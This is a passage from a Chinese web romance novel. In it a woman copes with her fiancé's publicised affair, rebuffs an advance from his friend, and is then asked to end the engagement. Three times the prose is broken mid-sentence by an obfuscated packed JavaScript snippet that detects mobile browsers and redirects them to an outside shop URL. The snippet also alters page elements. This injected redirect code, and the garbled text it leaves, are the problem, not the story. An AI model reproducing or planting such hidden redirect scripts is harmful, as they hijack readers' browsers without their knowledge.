宁豫放在桌下的另一只手不自觉攥了起来,指甲弄的掌心都有些痛。 她没了点菜的兴致,把手机扔了过去。 落在桌子上的‘咣当’一声不大不小,不足以引起周围人的窥视,却让谢枞舟眼睛里浮现了一丝不解。 “谢枞舟。”宁豫冷笑着问:“我知道你和李之逞是好朋友,好到什么程度?能让你天天为了他那些恶心事儿打掩护?” 她现在已经开始怀疑他把自己带到这儿来美名其曰‘休息’,实际上就是为了给李之逞创造空间,让他能带着那个什么南南去外地还不受打扰了。 谢枞舟没说什么,垂眸扫开手机看了看。 他知道宁豫是个轻易情绪不外露的人,眼下把不满和愤怒表达的这么明显,就一定是发生了什么事。 看完信息,他也立刻就明白她话里话外的讥讽是误会了。 谢枞舟毫不犹豫地辩驳:“我冤死了,我可不知道他和什么南南去苏州了!” 宁豫更想笑了,心说你们蛇鼠一窝居然还好意思叫冤。 但她压根不想和他打嘴仗,起身就要走。 “等等,你听我解释一下。”谢枞舟起身横在她面前,语速很快:“我什么时候对你提出过来玩儿的邀请的?好几天前吧,阿逞现在给我的发的信息,你觉得我能未卜先知,提前那么多天就开始算计你吗?” 自己稍微说的慢点宁豫也许就根本不听的走了,所以他必须一气呵成。 果然,宁豫听他说的有理有据,脸色也稍稍缓和了一些。 但依旧是板着的,没有放松的。 毕竟无论如何,李之逞在微信上拜托谢枞舟‘看着’自己是事实。 真是搞笑,他一个常年劈腿到处留情的人,有什么资格看着自己? “而且,”谢枞舟打量着宁豫的神色,轻轻挑眉:“我还以为你们俩是各玩各的,原来你还为了阿逞偷吃这事儿生气啊?” 那以后可有的气了。 “我,”宁豫被噎了一下,片刻后抿了抿唇,眉眼凝聚的情绪十分倔强:“我就是讨厌当面一套背后一套的这种行为,道貌岸然。” 摆桌给她道歉才几天啊,就又管不住下半身了。 谢枞舟观察着她的神色,从眼底捕捉到了一抹真切的厌恶,喉结不自觉滚了滚。 也许宁豫自己不知道,她生气的时候……超漂亮。 “别生气了。”他移开视线,手指敲了敲桌子:“先吃饭吧。” 宁豫也不至于为了李之逞这点事儿气到饭都不吃了,既然谢枞舟解释完了给了台阶,她也就顺势走了下来。 其实稍稍冷静下来,就知道这种‘迁怒’的情绪对她没有任何好处。 得罪了谢枞舟和谢家是属于百害而无一利的事情,如果宁从光在这儿,一定会指责她不懂事。 上菜后,谢枞舟给她夹了块排骨,宁豫没有拒绝,淡淡道:“谢谢。” 他笑了笑:“你别生我的气就行了。” 宁豫拿着筷子的手一顿,半晌后等排骨肉咽下,才不紧不慢地说:“刚才是一时冲动,没有和你生气的意思。” 哪怕她刚刚差点就骂他是‘走狗’了。 谢枞舟但笑不语,一点也没有拆台的意思,反倒顺着她的话说:“嗯,你不和我生气,是和阿逞生气对吧?” 宁豫没说话。 谢枞舟:“要不要我帮你打听一下那个南南是何许人也?” “不用。”宁豫毫不犹豫的拒绝:“我不想知道。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李之逞自然是立刻给她打了电话过来,问怎么回事。 “我和谢枞舟碰到,一起吃个饭,用他的手机点餐就正好看到你发来的信息。”宁豫笑着问:“是不是很巧?” 对面没说话,只有轻轻的呼吸声传了过来。 “李之逞,我明人不说暗话,也并没有打算怎么样。”宁豫看着窗外飘浮的云彩,淡淡道:“之前说好的,我们只是商业联姻,你只要别太过分就行。” 李之逞沉默片刻,低低的说了声‘好’。 “但商业联姻,就要在商言商了。”宁豫面无表情,言辞却锋利:“你应该不想和我解除婚约吧?在这个前提下,你的‘南南’能不受打扰吗?” 都是聪明人,李之逞顷刻就明白了她的意思。 “我懂,你本来就没义务帮我藏着什么,这么多双眼睛盯着,你甚至还得帮我掩护。”他声音絮絮的道歉,话说的很好听:“这样吧,年底耀锦有一个项目,你应该是感兴趣的。” 事已至此,宁豫的目的达成。 “哇哦。”辛黛整个人都听呆了,竖起大拇指给她点赞:“女神,你真狠。” 宁豫谦虚:“过奖。” “啧,别拽了,你真打算就这样啊?”辛黛问:“就这么和李之逞公事公办?以后也是?” 宁豫英气的眉毛轻挑,反问:“不然呢?” 李之逞劈腿已经是既定事实,无论怎么样事儿他都已经做了,那么比起自怨自艾无能狂怒,还不如研究一下能不能从中找到什么利益。 本来,她和李之逞也是因为利益才会成为未婚夫妻的。 辛黛叹了口气:“你俩再怎么说未来也是要一起过日子的,总这样还有什么意思啊。” 订婚早晚要变成结婚,还能总是‘各玩各的’吗? 从朋友的角度而言,她不免觉得像是宁豫这么优秀美丽的女人,若不能享受一场全情投入的‘被爱’就迈入没有感情的婚姻,实在太可惜。 宁豫沉默片刻,清冷的声音响起:“再说吧。” 目前她还是最喜欢赚钱。 至于和李之逞的关系该怎么维护……没有钱重要。 11. 挖呀挖 和辛黛的交流是宁豫主动结束的。 无非是因为她说了句:“别装了,我还不知道你当初选择李之逞是有喜欢的原因在啊?” …… 当然了,怎么可能没有喜欢。 做了快要二十年的朋友,辛黛了解宁豫这种隐晦的,藏在她层层钢铁铸造盔甲后的喜欢。 虽然占比不多,但实实在在也是存在的。 或者说是‘存在过’的——无论宁豫和李之逞这几年把未婚夫妻这个身份经营的如何,无法改变的事实就是,在高中时期她曾经动过心,所以当年才会主动选择李之逞当联姻对象。 宁豫垂下长长的眼睫,淡声问:“晚上泡温泉,去不去?” 这片开发过的地水质很好,做度假山庄主要就是做的温泉生意。 “去啊,当然去。”辛黛也不再纠缠刚刚的话题,笑眯眯道:“我都特意带了泳衣的,给你也带了。” 宁豫知道以她的穿衣风格,带的泳衣也不会是什么“规矩”的类型。 只是眼下她是真的感觉身心俱疲,需要放松,也顾不得挑剔那么多了。 傍晚穿着辛黛给的名为泳衣实则三点式比基尼的套装下水,宁豫还特意带了几条厚厚的浴巾放在温泉石沿,垫着脑袋。 她没有感觉不自在,而是全身心的投入,放松。 水蓝色的布料紧裹着身体,沉浸在清澈的水下,白皙肤色荡漾出层层波痕,美不胜收。 在雾气蒸腾的独立温泉中泡了许久,直到长长的睫毛都被熏出了小小的水珠挂在上面,宁豫才睁开眼睛。 本来美丽明亮的瞳孔有些涣散,脸颊也染上了两抹绯红。 她抬起手臂拿过旁边的水瓶喝了口,心想或许是该好好谢一下谢枞舟。 否则自己这种常年在国外刚刚回来的人,就算想好好放松休息,或许也找不到一个恰当的地方。 当然,宁晟那种对吃喝玩乐了如指掌的败家子倒是可以介绍,但宁豫通常是不想和他交流的。 想起宁晟,就不免想到那个前段时间被他搞大肚子的女生。 这个时候她应该是做完手术了,要不要找个时间去看看呢…… 男人真的是没一个好东西,犯了错总要别人追着他屁股后面善后,同时还心安理得的继续游戏人间,就好似一切都没发生过。 他们怎么能这么无耻? 宁晟是这样,李之逞同样也是。 胡思乱想中时间过得很快,宁豫不小心泡的久了些,从温泉池子出来后踩在地上,都觉得有些脚软。 温泉本身就像是在桑拿房里放了个高频率加湿器的存在,泡久了难免心肺会受影响,再加上自己刚才一直想着不少让人愤懑难受的事情…… 宁豫总觉得呼吸都有些不畅。 她身上披着浴巾,光脚踩在鹅卵石地上觉得硌得慌,一时间没拿稳手中的玻璃杯,‘啪唧’一下掉在地上,碎了满地。 “小心——”不远处立刻响起一道声音。 宁豫抬眸,眼前一花,身体就被抱了起来。 她愣了下,回过神才看清是谢枞舟——刚上岸就碰到他了,也是巧。 不过,没什么抱着的必要吧? 宁豫垂眸看了眼地上的碎玻璃碴,皱了皱眉:“放我下来。” 她没说什么叫人过来清理一下的废话,因为不远处已经有两个保洁朝着这边跑过来了。 “你光着脚呢。”谢枞舟虽然是公主抱,但很绅士手,手臂是隔着浴巾拖住宁豫的臂弯和腰身的,虽然布料少,但不会直接接触到她的皮肉。 宁豫强调道:“我自己走没问题。” 主要是……他穿着的衬衫也是敞开扣子的,那目光所及就能看到的六块腹肌让人觉得很不自在。 “刚看你好像有点头晕。”谢枞舟已读乱回:“没事吧?” “没事,就刚才突然有点眼花。”宁豫说着,发现自己已经被他抱到了电梯口。 她有些无奈,又说了一遍:“放我下来。” 现在地上已经一点玻璃碴都没有了。 谢枞舟这次没有已读乱回,而是笑了笑:“你在不好意思吗?又不是第一次抱你了。” 宁豫皱眉:“你在胡说什……” 话没说完,她就想起上次在医院那次确实也是自己头晕,谢枞舟做了好人好事把她抱到车上送回家的。 如此说来,确实不是‘第一次’。 但这人此刻明显在戏谑,让人不爽。 宁豫板起脸,干脆蹦起脚用手肘怼了他一下,自己跳了下来。 正好在电梯里,她摁下自己所住的楼层。 谢枞舟笑了笑,双手插兜的靠在墙面上,没动作。 宁豫等了会儿,忍不住问:“你怎么不摁?” “嗯……”谢枞舟慢吞吞道:“我和你住一层。” 准确来说,酒店最好的套房都在那几层,宁豫也不意外,点了点头。 只是出了电梯之后,他还跟着她,甚至还嬉皮笑脸地问:“要不要一起喝一杯?刚才有人给我送了瓶葡萄酒,没上市的新品。” 宁豫也就犹豫了两秒钟的时间,点了点头:“行,我先洗个澡。” 说完,她毫不犹豫的转身进门,‘砰’的一下把他关在门外。 谢枞舟愣了片刻,笑的肩膀轻轻抖动。 ——就喜欢看她早就受不了身上的温泉水还要故作淡定的样子了,有种‘隐忍’感…… 啧,他也是欠。 谢枞舟舌尖轻轻顶了顶脸颊,然后迈着吊儿郎当的步伐回自己房间拿酒。 酒当然不是‘刚刚’才有人送来的,是他早就准备好打算用借口约宁豫的。 或许很少人知道,但谢枞舟知道这货除了工作,额外的兴趣爱好就两个——捏泥巴,喝葡萄酒。 所以很恰好的,他经营了一个不算本钱不计回报,因此在京北圈内口碑特别好的酒庄。 宁豫知道,所以她肯定会对新品心动。 让服务生送上来冰块和杯子,谢枞舟琢磨着时间差不多了,才拎着酒瓶再次敲门拜访。 宁豫果然已经洗完了澡,吹干后的头发很蓬松,过来开门的时候,偏暗的灯光下眼睛里还有一层匍匐的水汽。 这让她身上那些平日里冷冰冰的尖刺都仿佛裹上了一层柔软的壳。 谢枞舟晃了晃手中的酒瓶,尝尝吧。 宁豫‘嗯’了一声,表示很感兴趣。 “这款用不着醒酒。”谢枞舟抄起玻璃杯盛了些冰块,然后倒了半杯酒给她:“尝尝。” 宁豫接过说了声谢谢,微微仰头喝了下去。 刚吹完头发还没来得及喝水,喉咙干燥让她也没心思细品,一口气喝了不少。 “喂,葡萄酒到底也是酒,不是饮料啊。”谢枞舟似笑非笑的看着她:“你喝这么急小心醉了。” 宁豫皱眉,鼻子也跟着皱了皱:“你废话真多。” 她当然能尝的出来,这酒度数根本不高。 “可别小瞧啊,后劲儿大的。”谢枞舟挑眉,故意问:“还是你在借酒消愁啊?” 宁豫抬眸看着他,情绪不是很友善:“我有什么好愁的?” 谢枞舟没说话,但一切尽在不言中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595747|187436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表达了‘你就是嘴硬’的这个信息。 “我不需要借酒消愁。”宁豫自然知道他在想什么,忍不住有些胸闷,抬高音量强调道:“你以为李之逞和他的情人约会就能影响我?” 谢枞舟摇头:“我没这么以为。” 可他说的痛快,态度却好似相当不以为然。 宁豫最受不了的就是别人的敷衍和同情——他此刻还偏偏两样全占了。 怒气上头,她冷冰冰说:“我们俩本来就是各玩各的,你还是去同情你一下你的好兄弟吧。” 宁豫宁可被人觉得是玩的很开的‘□□’,也不想当个被人同情的可怜虫。 尤其是眼前这个人还是李之逞的朋友……她怎么可能放任自己被嘲笑? 而且,半真半假的说辞往往最能骗到人了。 谢枞舟目光闪烁了片刻,却笑了:“我知道啊。” 宁豫一愣:“你知道什么?” “知道你们俩各玩各的,”他顿了下,继续说:“前年,还是大前年来着…看到你领着一个老外回家……不小心撞见的啊。” 那时候他们都在慕尼黑的同一片学区留学,而大多数在那边留学的华人兜里稍微有点钱的,都会在boul这片地段租公寓。 也就是说,他们曾经当过一段时间的邻居。 虽然碰面的机会少之又少,就算极其偶尔碰到了也不会说话,但确实当过邻居。 谢枞舟确实撞见过一次,宁豫带着一个男模似的白人男性回公寓的场景。 为什么过去几年还记得那么清楚呢……大概是因为在冬天吧。 慕尼黑的冬天,也是挺冷的。 宁豫眨了眨眼,回忆了一会儿才想起来她说的是哪次——毕竟她留学时带人回自己住的地方的次数也不多,更别提男人。 对人与人之间的交往,宁豫一直把控到了严苛的地步。 谢枞舟说的应该是她之前带Alex回公寓的那次……不过,他们是一起回去取一个小组课题的U盘啊。 宁豫沉默片刻,没有解释这个误会。 反正她和谢枞舟也没什么关系,他爱误会就误会呗。 谢枞舟见她不说话,轻轻挑眉:“现在还有联系吗?” 宁豫摇头:“没了。” Alex就是一个普通同学而已,毕业后他们就没联系了,只是…… 她看着他:“你问这个干嘛?” “没什么,就是好奇,”谢枞舟顿了下,唇角抬起的弧度颇为戏谑:“你到底喜欢什么类型的男人?欧美的?还是亚洲的?” 宁豫皱眉:“你这是什么问题?” “好奇呀。”谢枞舟笑:“没见你约过华人。” 虽然她才回国两个多月,但是在慕尼黑的时候,华人留学生也不少的。 宁豫无语片刻,淡淡道:“没想过。” 实际上她是保持了礼貌才这么回答的,真正想说的是……关你屁事。 想着,无意识又拿起酒杯喝了几口。 她好这口,喝葡萄酒的感觉和喝水没什么区别。 谢枞舟余光瞄了眼,就和看不懂女人脸上的不耐烦一样,依旧嬉皮笑脸:“那也就是说,也可以考虑亚洲人咯?” 宁豫:“……” 她想下逐客令了。 只是撵人的话刚到嘴边还没说出来,谢枞舟就蓦然凑近。 ——这是打破了安全距离的边界线。 宁豫漆黑的眉毛蹙起,黑曜石一样的瞳孔闪过明晃晃的不解。 “既然你们各玩各的……”谢枞舟问:“你觉得我怎么样?” 12. 挖呀挖 一分钟前,宁豫还在想着怎么开口下逐客令比较礼貌。 一分钟后,她想撵走的对象就隐晦地问她:能约吗? 宁豫真不知道谢枞舟是不是发癫了。 她冷笑一声,干脆也不组织词汇,身处细长的手指朝着门口一指,简单直接的表达了‘滚’的意思。 “啧,你不是说和阿逞各玩各的么。”谢枞舟问完向后靠在摇椅上,似是有些可惜的摊了下手:“没想到只是嘴上说说啊。” 宁豫知道他这是在用激将法,但额角还是有种‘突突’的感觉,忍不住冷笑:“我玩也不找你。” “怎么?”谢枞舟倒不生气,只是很无辜的看着她:“小爷我这条件一顶一啊。” 相貌英俊潇洒身材还有六块腹肌呢好吧,比她之前约的那个白男不知道要强出多少个次元…… 宁豫气笑了:“你不是和李之逞关系很好吗?现在是在做什么?” 说得难听点,这不就是挖墙脚吗? “是啊。”谢枞舟点了点头,从善如流的反问:“和未婚夫的好兄弟搞在一起,不更刺激吗?” …… 不知道是不是这个葡萄酒的后劲儿真的上头,恍惚中有那么一瞬间,宁豫居然真觉得他说的……还挺对的。 比起她,李之逞可能更在乎谢枞舟这个好哥们儿。 毕竟他们这些狗男人都把‘兄弟如手足,女人如衣服’当作什么时尚单品。 “宁豫,我给你一个理由怎么样?”谢枞舟的声音蛊惑,像是拉她下地狱的恶魔:“之前宁晟的事儿,你答应我一个条件…我要你兑现。” 宁豫微愣,下意识的反问:“怎么兑现?” 谢枞舟笑:“亲我。” 这就是他的条件。 并非要星星月亮,很容易做到。 但是…… 怔忡间,宁豫感觉到鼻尖传来一阵混合着薄荷味儿的葡萄酒香。 ……谢枞舟也喝葡萄酒了。 头晕目眩间,嘴唇被轻轻触碰,像是沾染了什么果冻,软嘟嘟的。 谢枞舟没给她犹豫的机会。 他,在亲她。 意识到这一点,宁豫裹在浴袍下的细瘦肢体不自觉绷紧,手指抓紧衣袖的布料,牙齿却僵住了,想咬却下不了口。 说真的,宁豫想不通事情是怎么发展到这一步的。 她和谢枞舟虽然是高中同学,但近几年见面的次数一只手都能数得过来,彼此不至于有什么过节吧,但不熟悉是肯定的。 怎么就……突然这么离谱了呢? 皱了皱眉,宁豫想要推开他。 但手腕却被反握住了。 “放得开点。”谢枞舟稍稍离开她的唇,低声说:“你明明对这个提议很心动。” 否则她就算有点酒劲儿上头,也不会允许自己这么亲密的靠近的。 谢枞舟的直言直语完全戳破了宁豫的心思。 确实,她就是这样想的,虽然不知道这家伙心里打的什么算盘,但对她而言,还有什么比睡了谢枞舟更能打击到李之逞的? 他能肆无忌惮的带着情人出入酒店,一起去外地还让人帮忙打掩护,凭什么她就得老实巴交的什么都不能做啊? 带着一种近乎反抗的心态,宁豫绷紧的身体放松了些。 察觉到她态度的软化,谢枞舟像是受到了蛊惑一样,薄唇啃噬她的唇角,修长的手指隔着浴袍触碰她的腰身。 松松垮垮的腰带,要解不解的…… 折腾间,偌大的酒店房间寂静的只剩下呼吸交错的声音。 没有水渍声,因为他们达不到‘深吻’的程度。 他们又不是情侣,这种各怀鬼胎的约一次,用不着亲那么久。 只是谢枞舟落在自己身上的温度,有些痒。 被打横抱起悬在半空中的时候,宁豫感觉胸腔内的心脏也跟着吊了起来——直至看见男人衬衫领口中滑出来的银色项链。 那骨感的锁骨衬托着,一个简单的英文字母‘Y’的吊坠。 在她面前晃来晃去。 电光火石间,宁豫忽然想到高中时有一个追谢枞舟追的很努力的女同学,因为都是同学,所以她还有印象。 那个女生名字叫什么来着?好像是,陈泱。 后来还听说他们在一起过,所以这个Y的字母…… 宁豫想起来了,忽然就觉得没意思了。 为了气李之逞把自己搭进去,不值得。 本来迷离的眼神变得清明,她伸手推开谢枞舟。 后者抬眸,看到宁豫白皙的脸颊虽然还红着,有些微喘,但明亮的双眸已经恢复那种惯常的清明,冷静。 她开口:“你走吧。” 谢枞舟看起来也没有多投入的样子,眨了眨眼:“我想知道你为什么突然叫停。” “不太喜欢你的吻技。”宁豫一本正经的用刚编出来的借口搪塞他。 “……你这可有点打击我了。”谢枞舟闷闷地笑了出来。 “走吧。”宁豫按了按太阳穴:“别烦我了。” 那葡萄酒的后劲儿是有些猛,她脑袋开始疼了。 其实关于今晚有很多事情值得思考,比如谢枞舟这捉摸不定的态度和行为。 但宁豫不想去琢磨了,只想好好睡一觉。 “行吧。”谢枞舟起身,看起来有些遗憾:“没办法和你一起做坏事了。” …… “你到底是李之逞好朋友。”宁豫忍不住问:“还是跟他有仇?” 既然明明知道是坏事,自己又是他兄弟的未婚妻,怎么他还一直勾引她? 谢枞舟似是被这个问题逗笑,翘着嘴角琢磨了一会儿,才说:“当然是他好哥们儿,但你俩感情不好不是吗?” “我啊,就是单纯想体验一下床下叫嫂子,床上嫂子叫的感觉。” …… 说完疯话,谢枞舟在宁豫这个体面人彻底发飙之前赶紧离开。 拔老虎须子也是有限度的,他的目的也不是今晚就能一次成功,更多的还是要在宁豫面前找存在感而已。 只是走出房间,谢枞舟看似平静的眉梢眼角怎么也说不上‘和煦’两个字。 挫败感还是有的。 尤其是一想到宁豫能接受那个白人,居然都不能接受他…… 谢枞舟拿出手机,拨通一个号码后面无表情地说:“之前给你的资料,找机会提前捅出去。” 对面的声音有些犹豫。 “怕得罪人?”谢枞舟笑笑,修长的手指摆弄打火机:“你之前就已经得罪人了。” 要么从一开始就什么都不做,既然做了就别想着中途上路明哲保身。 对面也是资深的媒体经理了,这么简单的道理,谢枞舟觉得用不着自己教他。 果然,对面沉默片刻,还是回了一个‘好’字。 谢枞舟挂断电话,食指按压打火机。 漆黑的瞳孔看着那一簇小火苗在暗处忽明忽灭,直到指尖传来浅浅的灼痛感。 自嘲的嗤笑一声,方才熄灭。 - 宁豫这个短暂的休假休的并不安生。 来山庄第一天,谢枞舟疑似发癫,让她想了半宿也没想明白究竟是怎么回事,闷闷不乐的睡去。 第二天本来约好和辛黛一起去周边的小镇逛逛,结果正在和她搞冷战的应擎宇直接追了过来…… 这个计划当然也泡汤了,毕竟宁豫可没有去当电灯泡的爱好。 至于第三天,那就更糟了。 宁豫睡到自然醒后,就接到了一连串的电话轰炸还有辛黛急吼吼的拍门询问——问的问题都是一个,李之逞怎么回事? 李之逞出事了?宁豫眉头一跳,强作若无其事的问:“他怎么了?” “我去,你还不知道啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595748|187436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛黛拿出手机划拉出媒体报道,递给她看:“你未婚夫的桃色绯闻啊,怎么又上新闻了?他到底想干嘛?” 这一出一出的,她作为朋友都觉得烦躁了,更何况宁豫本人呢? 但实际上现在这个时候,宁豫对于这个新闻是疑惑多过愤怒的。 因为她早就知道李之逞带着情人去苏州了,所以没什么好生气的,但为什么八卦媒体会知道? 以她对李之逞这个人的了解,他不至于把自己本应该保密的,见不得人的行程疏漏到这种程度吧? 只是不管怎么样,自己又成为世人眼中那个被辜负背叛的‘悲情’角色了。 在辛黛焦急的追问下,宁豫没说话,只讽刺的抬了抬唇角。 随后她起身洗漱,穿衣服收拾行李,全程动作干脆利索。 辛黛愣住:“你干嘛?怎么要走了?” “能不走么?宁家现在肯定乱成一锅粥了。”宁豫把及腰的长发抬手挽了起来,边动作边说:“连我爷爷都给我打了两个电话。” 不知道回去后,宁老爷子是否又会暗示她‘男人都这样,等未来结婚后收心就好了’这些诸如此类的话。 辛黛听着都有些无奈,忍不住吐槽:“我说你们家这些人真的太依赖你了吧?明明是李之逞出问题,他们总找你逼着你干什么?” 外人听着看着都忍不住为她抱不平的程度。 奈何宁豫身在此山中,这些年来早已习惯当这个‘大家长’了。 开车回到市区后,宁豫直奔宁家老宅。 在车上的时候她已经给老爷子打过电话,并且对这件事表达了云淡风轻甚至‘谅解’的态度——此举自然很得老爷子欢心。 “老四,你这心性是个能成大事的。”宁从光欣慰地说:“现在的年轻人,尤其这些豪门公子哥儿有几个是能闲的住的?” “起码对比起来李之逞这小子本人条件是拔尖的,家庭背景更是。” 后半句才是重点。 宁豫‘嗯’了声:“爷爷,我明白。” “你这么懂事,我就放心多了,毕竟咱们和李家合作的项目一直在推进,今天上午李锐达还派人来公司谈了。” 李锐达是李之逞的父亲,集团真正的掌权者。 宁豫听到这里才来了些精神,腰身微微挺直:“怎么说?” 李家新建的这个项目很大型,需要的钢材也很多,李锐达一直比价京北的这些钢材公司想要拿乔吊着宁家,眼下恐怕是因为儿子的事儿,也开始着急示好了。 挺好,这才是她想要的结果。 宁豫眉宇之间的情绪放松了些,接话道:“我这就过去。” 虽然一直都像是默认了合作关系,但如果能和李家敲定正式的合同,她心里不会总觉得那么被动。 去宁家见了宁从光,从他口中进一步了解了李锐达的态度,宁豫心里的底气更多了一分。 攘外必先安内,对自家人这边她可以表现出真实的态度,给他们吃一颗定心丸,但对着李家那边…… 或许就该学习一下李锐达,表现不满,适当拿乔。 宁豫回到家后安静的自己做了份简单的晚餐,闲适的吃完,一直没有主动联系李锐达和李之逞。 就该等他们先按耐不住才对,她又不是做错事的人。 果不其然,晚饭后李锐达就主动来了电话,先是客客气气的‘替’李之逞道歉,然后才说要找时间做庄请她吃饭,谈合作的事。 宁豫自然是要给台阶的,微笑着说了声好。 实际上她心里想说,您的面子可比你儿子大多了。 只是计划赶不上变化,在宁豫和李锐达见这个面之前,眼下的局面就发生了翻天覆地的动荡。 李之逞难得主动联系了她,说要见一面。 他在电话里的声音有种少见的疲惫,估计也焦头烂额了。 宁豫想了想:“好。” 13. 挖呀挖 李之逞发来的餐厅是云鼎大厦的顶楼米其林。 看到地址的时候,宁豫有一瞬间的恍惚。 这是几年前他们确定订婚关系当天约会的餐厅……算是约会吧,滑稽的是成为‘未婚夫妻’的这几年中,他们一只手吃饭的次数都数得过来。 宁豫讽刺的想着,然后盛装赴宴。 她本就是个活的体面精致的人,自然不会打扮的很随便的就去见客。 虽然两个人名以上算是亲密,但实际上她甚至把李之逞当客人,所以会用大红色的口红,下意识想武装起自己锐利的攻击力。 宁豫按照约定好的时间到达餐厅,门口等待的侍童很有眼力见,立刻接过她的大衣规规矩矩地说:“宁小姐,李先生在里面等您,他今晚已经把整个餐厅包下来了。” ……虽然这家米其林不提供包厢,但至于么? 无语片刻,她点了点头:“我知道了,谢谢。” 被承包下来的餐厅灯光也开得很暗,基本都聚焦局促在李之逞坐的窗边位置。 她走过去,踩在地上的高跟鞋声音像是预告,吸引了男人转头过来,望向她。 宁豫坐在对面,直言不讳:“有什么事还至于把餐厅包下来?” 这家餐厅对于普通人来说吃一顿都得提前一个月预约,他真是没事儿闲的。 李之逞笑笑,烛光后的眉眼和开口的声音都蛮温柔:“先坐下来吃饭吧。” 他显然是不着急谈事儿。 宁豫也不问了,坐了下来。 “这儿上菜慢,我刚才先点了些。”李之逞说:“都是照你的口味点的,你要不喜欢再加。” 宁豫摇了摇头:“够了。” 这顿本来也不是为了单纯吃饭的。 类似于鸿门宴一样的晚餐,他不主动提花边新闻的事儿,她暂且装傻而已。 席间两个人话都不多,粉饰太平一样的相敬如宾。 宁豫偶然会透过桌上的烛光看一眼对面的李之逞,心里暗道:可惜了。 这个用餐场景还挺浪漫的,可惜对面的男人心思摆明不在她身上。 人在心不在,反倒让人觉得滑稽,胸口发堵。 宁豫放下刀叉,用纸巾轻拭唇角,她淡淡问:“你没有什么话要和我说么?” 她吃完了,也懒得继续装了。 李之逞也跟着放下了餐具,桌上沉寂片刻,他笑着问:“宁豫,我们认识有多久了?” 宁豫没有计较这个在此刻有些唐突的问题,一本一眼的回答:“十几年了吧。” 李家和宁家是旧识,他们这些富家子弟在京北也是一个圈子,家族方面互相有往来,他们自然也能算认识。 但真的比较熟悉,也得是上一个高中的时候了。 从那个时候开始算的话,差不多就是十几年。 李之逞听了她的回答,唇角轻抬:“记得你二十岁那年要和圈内子弟订婚的消息传出来,很多人跟疯了似的。” “我到现在都很庆幸,你那时候选了我。” 怎么说呢,宁豫在二代里也是‘别人家的孩子’,样样出色到拔尖,更别提漂亮得要命,圈内哪个差不多年纪的男生在聊天谈笑中没有调侃幻想过几句? 能被这样的一个女生青睐,是个很有‘面儿’的事情。 所以当年宁豫要选人订婚的消息一传出来,真的很多人都沸腾不安,就希望自己是那个被从天而降馅饼砸中的幸运儿。 李之逞多少有点不理解他们的躁动,还笑话过,但当宁豫找到他的时候,他也不可避免的觉得……挺有意思的。 “我没想过要这么早和人订婚。”李之逞玩的花,短暂的错愕和窃喜过后,就很快考虑到现实层面的顾忌,实事求是地说:“我才二十哎。” 大学还没毕业的年纪呢,何必要在马上就能满世界到处浪的时候无端端给自己身上安一副枷锁? 他又不是傻子。 只是宁豫给了他一个无法拒绝的理由。 “形式主义懂吗?我又不会拦着你各种各样的人际交往,各玩各的。”女孩儿大概天生有说服别人的本领,清脆的声音字字珠玑,振振有词:“只是找一个门当户对的对象搞一份隐形的协议罢了,这样可以省去很多麻烦事。” “比如家中长辈的暗示催促,顺便还可以从中获取许多利益。” 订婚后他们的身份就不一样了,两个偌大的家族有了这份牵绊,某种程度上可以算是合作关系。 他们成立了‘家庭’,也不会再被当作那种不懂事的,稚嫩的小辈来对待。 甚至在家族培养人才,给予机会这方面,有了这层关系的两个人都会率先被考虑。 这也是宁豫为什么年纪轻轻,在大学还没毕业时就想给自己找个订婚对象的理由。 她一直都是最让宁从光满意的晚辈,在婚事上也理应如此,找一个顶尖优秀的未婚夫,让爷爷更看重她和她所能带来的利益。 一切都是为了能脱颖而出,站稳脚跟罢了。 而且每个家族内部都有自己的难以启齿,宁豫就不相信李之逞的人生能一如表现出来的那般恣意风流,全无烦心事。 互相利用,她也给他抛出一根沾满蜜糖的橄榄枝。 “考虑一下。”宁豫没有喋喋不休的劝,点到为止后说:“三天内给我答复。” 她可不会在一棵树上吊死。 然而李之逞一天就给了宁豫答复。 他同意,他当然会同意。 作为一个有那么一点纨绔但同时又很精明的富家子弟,他在短暂觉得荒唐和排斥之后,很快就反应过来宁豫说的全是对的,同时这桩联姻背后又是多么有利可图。 首先李之逞完全认同‘门当户对’的这个想法,无论他现在怎么玩儿,和谁谈恋爱,以后肯定都是要找一个门当户对的千金小姐做家族联姻。 那如果是宁豫这种条件的人现在就能和他‘互利互惠’,同时又肯和他各玩各的给他打掩护,以后等自己收心了又能给他当老婆,那完全就是打着灯笼都找不到的好事啊。 这么好的事情,傻子才不同意。 只是李之逞那个时候自认为自己算计了一切,却唯独没算计到他以后的未来可能会转变想法…… 他想找一个不那么门当户对的妻子,因此此前给予他种种便利的联姻此刻都成了枷锁。 宛若被锁链控制住手腕的囚犯,他急于想要挣脱。 “宁豫。”李之逞叹了口气,终于把这顿鸿门宴的主题说出口:“我们取消婚约吧。” 话落在于无声处的情境里,仿佛时间都停滞了。 